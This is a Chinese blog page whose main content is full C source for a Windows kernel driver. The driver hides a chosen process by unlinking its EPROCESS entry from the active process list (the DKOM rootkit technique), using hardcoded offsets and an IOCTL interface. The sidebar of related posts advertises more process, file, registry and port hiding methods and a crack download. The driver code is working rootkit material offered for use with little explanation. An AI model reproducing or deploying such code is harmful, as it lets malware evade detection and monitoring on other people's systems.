一段进程隐藏的代码

易语言驱动隐藏进程源码-易语言 易语言驱动隐藏进程源码 立即下载
打开物理内存->找到活动进程链表->摘除自己
这个用去动作很简单:
#define DEBUGMSG

#include <ntddk.h>
#define DWORD ULONG
#define NT_DEVICE_NAME          L"//Device//king"
#define DOS_DEVICE_NAME         L"//DosDevices//king"


void DriverUnloAd(IN PDRIVER_OBJECT Driver_object);
NTSTATUS DriverDispAtch(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);
NTSTATUS myDriverIoControl(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);
DWORD FindProcessEPROC(int Terminate_PID);
int PIDOFFSET=0x84;
int FLINKOFFSET=0x88;
PDEVICE_OBJECT KingObject=NULL;

NTSTATUS DriverEntry (IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
{
    PUNICODE_STRING pString;
    UNICODE_STRING ntDeviceName;
    UNICODE_STRING win32DeviceName;
    NTSTATUS status;

    RtlInitUnicodeString(&ntDeviceName,NT_DEVICE_NAME);
    DbgPrint("Start/n");

    if (!NT_SUCCESS(status = IoCreateDevice(DriverObject,0,&ntDeviceName,
                                          FILE_DEVICE_UNKNOWN,0,FALSE,
                                          &KingObject)))
    return STATUS_NO_SUCH_DEVICE;
    DbgPrint("IoCreateDevice:%x/n",status);

    RtlInitUnicodeString(&win32DeviceName,DOS_DEVICE_NAME);

    if (!NT_SUCCESS(status = IoCreateSymbolicLink(&win32DeviceName,&ntDeviceName)))
    return STATUS_NO_SUCH_DEVICE;
    DbgPrint("IoCreateSymbolicLink:%x/n",status);

    DriverObject->MajorFunction[IRP_MJ_CREATE]=DriverObject->MajorFunction[IRP_MJ_CLOSE]=DriverDispAtch;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]=myDriverIoControl;
    DriverObject->DriverUnload=DriverUnloAd;

    return STATUS_SUCCESS;
}

NTSTATUS myDriverIoControl(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)
{
    NTSTATUS ntStatus=STATUS_SUCCESS;
    PIO_STACK_LOCATION stack;
    DWORD *in_buffer, *out_buffer;
    ULONG code,out_size;
    DWORD eproc=0;
    PLIST_ENTRY plist_active_procs;



    stack = IoGetCurrentIrpStackLocation(Irp);
    out_size = stack->Parameters.DeviceIoControl.OutputBufferLength;
    code = stack->Parameters.DeviceIoControl.IoControlCode;

    in_buffer = out_buffer = Irp->AssociatedIrp.SystemBuffer;

    if(code==800)
    {
        DWORD PID=*in_buffer;
        eproc=FindProcessEPROC(PID);
        if(eproc==0)
        {
            Irp->IoStatus.Status = ntStatus;
            IoCompleteRequest(Irp,IO_NO_INCREMENT);
            return ntStatus;
        }
        plist_active_procs=(LIST_ENTRY *)(eproc+FLINKOFFSET);
        *((DWORD *)plist_active_procs->Blink)=(DWORD)plist_active_procs->Flink;
        *((DWORD *)plist_active_procs->Flink+1)=(DWORD)plist_active_procs->Blink;
        Irp->IoStatus.Status = ntStatus;
        IoCompleteRequest(Irp,IO_NO_INCREMENT);
        return ntStatus;
    }
     *out_buffer = 0;
     Irp->IoStatus.Information = 4;
     ntStatus = STATUS_INVALID_DEVICE_REQUEST;

    return ntStatus;
}

NTSTATUS DriverDispAtch(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)
{
    Irp->IoStatus.Status=STATUS_SUCCESS;
    IoCompleteRequest(Irp,IO_NO_INCREMENT);
    return STATUS_SUCCESS;
}

VOID DriverUnloAd (IN PDRIVER_OBJECT DriverObject)
{
    UNICODE_STRING win32DeviceName;

    RtlInitUnicodeString(&win32DeviceName,DOS_DEVICE_NAME);
    IoDeleteSymbolicLink(&win32DeviceName);

    IoDeleteDevice(KingObject);
    return;
}

DWORD FindProcessEPROC(int terminate_PID)
{
    DWORD eproc =0;
    int current_PID=0;
    int start_PID=0;
    int i_count=0;
    PLIST_ENTRY plist_active_procs;
    if(terminate_PID==0) return terminate_PID;
    eproc=(DWORD)PsGetCurrentProcess();
    start_PID=*((DWORD*)(eproc+PIDOFFSET));
    current_PID=start_PID;

    while(1)
    {
        if(terminate_PID==current_PID) return eproc;
        else if((i_count>=1)&&(start_PID==current_PID))
        {
            return 0;
        }
        else
        {
            plist_active_procs=(LIST_ENTRY*)(eproc+FLINKOFFSET);
            eproc=(DWORD)plist_active_procs->Flink;
            eproc=eproc-FLINKOFFSET;
            current_PID=*((int *)(eproc+PIDOFFSET));
            i_count++;
        }
    }
}
易语言代码E文件易语言代码E文件易语言源码隐藏进程模块(2) 易语言代码E文件易语言源码隐藏进程模块(2) 立即下载

相关推荐

LTX-2.3 V1.6:8G显存本地AI视频生成工具与int8量化加速实践

这次我们来看一个本地部署的AI视频生成工具——LTX-2.3文字图片生成带音频视频工具V1.6版本。这个工具最大的特点是支持int8量化加速,相比原版提速2-4倍,效果更好,而且8G显存就能运行,不需要搭建复杂环境,解压即可使用。 对于想要在本地电脑上快速生成带音频视频内容的用户来说,这个工具解决了几个关键痛点:首先是硬件门槛低,8G显存意味着大多数主流游戏显卡都能胜任;其次是部署简单,避免了Python环境配置、依赖包冲突等常见问题;最后是性能优化明显,int8加速让生成速度大幅提升。 本文会重点演示如何

hqmln的博客 1236

实现进程隐藏(完整源代码)

Normal 0 7.8 磅 0 2 false false false MicrosoftInternetExplorer4 <object class

To be, or not to be: that is the question 3046

ubuntu为Docker配置代理

我们平常在ubuntu终端中使用curl或git命令时,往往会很慢。所以,首先需要给ubuntu终端环境添加代理。查看自身那个软件的端口号,我这里是7890。

不想随波逐流的大学生一枚,我们每个人都在努力奔跑 1643

vmware 虚拟机启动 报 No such device

问题: 只有3台虚拟机开机出现如下状况,但浏览存储器中,虚拟机目录还是存在虚拟机的vmdk文件的。 原因: 这3台虚拟机,添加以“祼机映射”方式分别添加了备份存储的LUN作为虚拟机的一个分区。但却因为备份存储故障,导致虚拟机启动报“No such device” 解决方法: 虚拟机-->编辑设备、移除加添的那个磁盘就可以了,如果移除不了,重启esxi主机后,再编辑设备->移除

千里足迹 3783

零代码实战:基于Coze平台打造测试用例生成AI助手

本文详细介绍了如何利用Coze平台零代码打造测试用例生成AI助手,通过智能体和工作流配置,实现需求文档自动解析与结构化测试用例生成。该方案显著提升测试效率,特别适合敏捷开发中频繁变更的需求场景,帮助测试工程师快速应对挑战。

weixin_42526015的博客 209

CentOS7下Node.js v20+安装与常见依赖库问题解决指南

本文详细介绍了在CentOS7系统下安装Node.js v20+的完整流程及常见依赖库问题的解决方案。通过升级glibc到2.28+、配置环境变量以及处理libstdc++版本问题,帮助开发者顺利在老旧系统上部署最新版Node.js,提升开发效率。

weixin_30689307的博客 157

hidetoolz源码_进程隐藏模块开源 调用HideToolz进行隐藏保护

.子程序 G_进程_驱动初始化, 逻辑型, 公开, 成功返回真 如果360有提示,请自行考虑是否添加信任.局部变量 返回值, 逻辑型.局部变量 局_临时, 整数型.局部变量 局_窗口, 整数型' // 如果之前调用忘记退出的,这边就先退出一下局_窗口 = 子_取外部程序句柄 (真).如果真 (局_窗口 > 0)SendMessageA (局_窗口, 16, 0, 0)SendMessageA (局...

weixin_39880899的博客 2065

从混乱到清晰:用QJsonObject重构你的Qt网络API数据解析层(避坑指南)

本文详细介绍了如何使用QJsonObject重构Qt网络API数据解析层,避免常见的JSON解析陷阱。通过安全解析模式、数据绑定和性能优化技巧,帮助开发者构建高效、健壮的解析逻辑,提升代码可维护性和可读性。特别适用于处理复杂嵌套的JSON响应数据场景。

weixin_29011667的博客 230

隐藏进程

还有另外一种方法,我下了文章发表在下期<黑客防线>上,这里给你贴代码吧:)     #include     #include     #include         //#include"HideProcess.h"         #define   NT_SUCCESS(Status)((NTSTATUS)(Status)   >=   0)     #define   STATUS_IN

sanshao27的专栏 791

小白跑WRF第三天,安装三方依赖库

小白跑WRF第三天,安装三方依赖库各类安装包的准备 各类安装包的准备 官网教程:https://www2.mmm.ucar.edu/wrf/OnLineTutorial/compilation_tutorial.php 根据官网教程需要的安装包有以下几个 系统环境 用途 zlib-1.2.7 zlib是提供数据压缩用的函式库。 netcdf-4.1.3 读nc文件的。 mpich-3.0.4 用于并行运算的工具。 libpng-1.2.50 libpng是一款C语言编写的比较底层

weixin_42372313的博客 1万+

Plecs电力电子仿真专业教程-第一季 第一节 Plecs简介

Plces 电力电子仿真专业教程系列依托专业的电力电子仿真软件Plecs对各种电力电子常用的拓扑及实际设计的方案进行系统及仿真与软件代码仿真实践。通过对各种电路仿真原理的讲解及专业C语言代码程序的编写,提升学员的系统设计能力,软件编程能力与理论分析能力。

3649

请写一段python的代码来隐藏软件系统进程

以下是一段Python代码来隐藏操作系统进程import ctypes import win32processdef hide_process(): process_id = win32process.GetCurrentProcessId() handle = win32process.OpenProcess(win32process.PROCESS_ALL_ACCESS, Fa...

weixin_42607969的博客 794

通过Python实现物联网金橙子自动打标

对于自家公司使用金橙子打标卡时,为了与生产线或者PLC联动等,往往需要对金橙子打标卡进行二次开发,而在二次开发中不得不涉及到MarkEzd.dll这个文件,而这个dll文件网上版本多不说,一般都没法直接使用,最后还不得不花大价钱购买专用库。而本文针对这个问题,涉法通过python来绕过MarkEzd.dll文件,直接进行自动化控制EzCad来实现联动,可应用于实际生产。文章最后拓展一下以物联网的形式,实现手机平台等登录网页,输入想要的印字内容后,远程打印的案例。

lylelo的博客 3366

在XP/2K系统中隐藏进程的VB代码

在XP/2K系统中隐藏进程的VB代码Attribute VB_Name = "modHideProcess"-------------------------------------------------------------------------------------模块名称:modHideProcess.bas模块功能:在 XP/2K 任务管理器的进程列表中隐藏

barenx的专栏 1217

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

2024年五大图像分割模型深度解析:架构创新与落地实战

图像分割是计算机视觉的核心任务,要求模型在像素级别理解场景,兼顾全局上下文与局部细节。传统卷积网络受限于感受野,而Transformer的自注意力机制具备天然全局建模能力,但其计算复杂度需要高效设计优化。2024年涌现出一批兼具精度与效率的图像分割模型,通过分层Transformer、卷积注意力、掩码分类、适配器与知识蒸馏等创新架构,显著提升了语义分割、实例分割和全景分割的综合性能。同时,模型部署在真实项目中常面临算力与实时性挑战,轻量化与硬件适配成为落地的关键。针对医疗影像、自动驾驶、工业质检等典型场景,

weixin_34198453的博客 421

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

getProcess后 隐藏该进程窗口是什么函数?

<br />dim tempProcess() as process<br />tempprocess()=process.getprocess<br />for i=0 to tempprocess.length-1<br /> if tempprocess(i).winmaintitle="XXXXX" then<br />   XXXX '此处要隐藏该进程的窗口 怎么弄?<br />end if <br />next

bigangels的专栏 250

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

linux 如何隐藏进程,linux 下隐藏进程的一种方法

前言思路就是利用 LD_PRELOAD 来实现系统函数的劫持LD_PRELOAD是什么:LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函...

weixin_31517893的博客 1717

VB进程隐藏

声明: 程序: '隐藏 RegisterServiceProcess GetCurrentProcessId, 1 '显示 RegisterServiceProcess GetCurrentProcessId, 0

0x567 优快云 BLOG 516

使用APIHOOK实现进程隐藏

今天翻出一些今年前写的代码。其中一个是09年,我帮一个读研的同学写的一个“无公害恶意”程序。大致要求就是要实现自启动和自我隐藏。我使用的都是些简单的技术,只是实现自我隐藏稍微让我花费了点时间写算法。其实这个算法也很简单,就是大学时候写的从一个单向链表中删除一个元素。 APIhook我这儿就不说了,网上很多开源的代码,我只贴出“删除元素”的代码。 NTSTATUS WINAPI Ho...

yiyeqinghuasoon 775

隐藏任意进程,目录/文件,注册表,端口

[转载]隐藏任意进程,目录/文件,注册表,端口Author : sinister Email   : sinister@whitecell.org HomePage: http://www.whitecell.org   查找进程,目录/文件,注册表等操作系统将最终调用 ZwQueryDirectoryFile,ZwQuerySystem

goingup的专栏 1878

在2000和xp下,隐藏进程,vc6.0测试通过

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////Hide Process#include#include#include#defin

yanzheng1的专栏 1401

ANDROID 隐藏 任务栏 systemui systembar 全屏显示

原文:http://blog.youkuaiyun.com/xiaogezq0/article/details/8662464 (1)开始为了隐藏systemui利用过 kill com.android.systemui线程进行的隐藏,但是总有一个com.android.systemui.SystemUIService进行启动                           我开始还是比较

casun_li的专栏 3001

在2000和xp下,隐藏进程,VC6.0测试通过

头文件: ////////////////////////////////////// //HideProcess.h BOOL HideProcess(); CPP源文件: ///////////////////////////////////////////////////////////////////////////// //HideProcess....

huozheleisi 73

进程-端口-IP地址关联演示

这篇文章是我看了一篇VC的文章增加修改而来,原文章地址我也忘记了,作者也不是很清楚,在这里希望原作者能原谅. 此代码演示了进程和端口以及IP地址的关联,程序使用了ZwQuerySystemInformation函数来枚举所有打开的句柄然后再使用ZwQueryObject函数来获取句柄所对应的路径,如果发现路径正包含/device/rawip或者/device/tcp或者/device/udp即

chenhui530的专栏 9295

DKOM隐藏驱动

DKOM(Direct Kernel Object Manipulation)就是直接内核对象操作技术。所有的操作系统都在内存中存储记账信息,他们通常采用结构或对象的形式,由对象管理器管理。当用户空间进程请求操作系统信息例如进程、线程或设备驱动程序列表时,这些对象被报告给用户。这些对象或结构位于内存中,因此可以直接对其进行修改。隐藏进程主要关注的windows关键数据结构是:进程的EPROCESS...

689
上一篇: 隐藏任意进程,目录/文件,注册表,端口
下一篇: 在2000和xp下隐藏进程(VC6.0测试通过)
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值